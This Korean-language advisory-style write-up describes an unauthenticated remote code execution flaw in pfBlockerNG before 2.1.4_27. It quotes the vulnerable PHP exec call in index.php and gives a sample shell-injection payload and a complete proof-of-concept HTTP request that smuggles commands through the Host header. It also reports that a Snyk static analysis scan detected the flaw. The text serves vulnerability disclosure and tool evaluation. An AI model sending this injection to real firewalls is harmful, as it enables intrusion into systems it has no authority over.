
pfBlockerNg의 DNSBL TLD 쿼리 함수에서 무결함 입력을 통한 인증되지 않은 원격 코드 실행을 위한 개념 증명 익스플로잇 (SAST 탐지 분석 포함)
pfBlockerNG는 다음과 같은 기능을 갖춘 pfBlocker의 차세대 버전입니다:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
인증되지 않은 원격 코드 실행 (RCE)
index.php의 TLD 차단 섹션 쿼리는 HEADER Host 소스로부터의 사용자 입력 d_query가 PHP exec 함수 싱크로 이스케이프되지 않은 채 포함됩니다.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
pfsense 웹 콘솔에 대한 HTTP 액세스 필요
샘플 페이로드: ' *; sleep 5; '
PoC 요청:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
저는 pfBlockerNg를 좋아하며, Di r00t의 최근 CVE-2022-31814와 훌륭한 글 https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ 에서 영감을 받았습니다. 또한 Snyk 정적 애플리케이션 보안 테스트(SAST) 도구가 이 취약점을 탐지할 수 있을지 궁금했습니다. 그래서 해당 index.php 버전 2.1.4_26 파일을 다운로드하고 Snyk Code를 실행했습니다. 예상대로 Snyk는 해당 취약점과 몇 줄 뒤에 있는 또 다른 유사한 보고를 탐지했습니다.